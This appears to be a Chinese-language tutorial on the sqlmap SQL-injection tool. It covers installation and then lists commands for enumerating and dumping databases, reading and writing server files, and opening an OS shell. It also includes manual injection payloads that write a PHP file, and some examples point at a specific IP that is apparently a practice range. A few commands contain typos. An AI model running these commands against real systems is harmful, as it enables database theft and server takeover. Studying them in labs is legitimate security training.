1. SQLMap是什么?
在这个数据有价的时代数据库安全已经成为了重中之重,于是就整理了一下最常用的一款数据库安全方面的渗透测试工具sqlmap的使用笔记。
SQLMap是一个自动化的sql注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,甚至还提供了一个字典来将取回来的hash爆破,当然对于真实环境中这爆破功能战斗力基本为0....
SQLMap是使用python写的,因此具有跨平台的特性,并且下载下来解压就可以使用。它依赖于Python 2.x ,请不要安装Python 3.x。
2.准备工作
Python2.7.x
SQLMap
Python 下载地址:https://www.python.org/downloads/
请下载 Python2.7.x 版本
SQLMap 下载地址:http://sqlmap.org/
3.SQLMap安装
1.将下载的SQLMAP安装包解压到文件夹sqlmap中,并拷贝到Python安装路径下目录下;
默认Python的安装路径为“C:\Python27”;
并重命名为sqlmap
安装sqlmap 1
2.创建一个cmd进入python的快捷方式(这步可以不做,只是比较方便启动)
桌面——右键——创建快捷方式
快捷方式命名可随意,不作要求。
右键快捷方式——点击属性
修改起始位置为 sqlmap 文件夹路径
默认的路径为“C:\Python27\sqlmap”;
创建快捷方式 4
4.测试启动SQLMap
双击刚才创建的快捷方式,输入sqlmap.py -h
出现如下信息则表示安装成功
测试启动SQLMap
sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 –dbs 列出有那些库
sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 -D stormgroup -tables 查看stormgroup库下的表单
sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 -D stormgroup -T member –columns 查看member中有哪些列
第三验证工具能否使用
(1)sqlmap.py -u “url” #检测目标网站是否存在注入
(2)sqlmap.py -u “url” --dbs #获取对方数据库所有库的名称
(3)sqlmap.py -u “url” -D “security” --tables #获取security库下的表
(4)sqlmap.py -u “url” -D “securtiy” -T “emails,users” --columns #获取eamil表,users表中的字段
(5)sqlmap.py -u “url” -D “securtiy” -T “uses” -C “id,username,password” --dump #导出数据指定数据
(6)sqlmap.py -u “url” --dump-all #拖库
(7)sqlmap -u "url" --current-user #获取当前用户名称
(8)sqlmap -u “url” --current-db #获取当前使用的数据名称
(9)sqlmap -r 1.txt #指定文件检测注入
(10)sqlmap -u “url” --dbms “mysql” #指定数据库类型进行检测
(11)sqlmap -r 1.txt -p “参数名” #post型注入,-p指定哪个参数注入
(12)sqlmap -u “url” --forms #自动搜索表单 并测试注入
(13)sqlmap -u “url” --dbs -v 4 #显示sqlmap注入的信息
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
如果你想看到sqlmap发送的测试payload最好的等级就是3
(14)sqlmap -u “url”--tamper unmagicquotes #检测宽字节注入
(15)sqlmap -u “url” --is-dba #判断当前用户是否为数据库管理员权限
(16)sqlmap -u “url” --random-agent #随机UA头
(17)探测等级参数:--level
共有五个等级,默认为1级, 这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
sqlmap.py -u “url” --cookie “cookie value“ --level 2
(18)风险等级参数:--risk
共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
(19)sqlmap.py -u “url” --users #列数据库用户
(20)sqlmap.py -u “url” --batch #采用默认配置对提示进行设置
(21)sqlmap.py -u “url” –roles 或者 --privileges #列用户以及权限
(22)伪静态注入:
使用sqlmap进行伪静态注入
sqlmap -u “www.xx.com/index.php/news/id/203*.html”
sqlmap -u “www.xx.com/index.php/news/id/10*”
进阶使用
?id=-1' union select 1,2,load_file('D:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-1/index.php')--+
into outfile() #写入文件
payload:
?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'D:/phpstudy/PHPTutorial/WWW/test.php'--+
2.利用sqlmap来操作:
--file-read #读取文件,相当于load_file()
payload:
sqlmap.py - u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --file-read="D:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-1/index.php"
2.利用sqlmap来操作:
--file-write #写入文件,相当于 into outfile
--file-dest #写入文件的存放路径
payload:
sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --file-write "D:/phpstudy/PHPTutorial/WWW/test.php" --file-dest "D:\360MoveData\Users\Administrator\Desktop\404.php"
sqlmap -u “url” --os-shell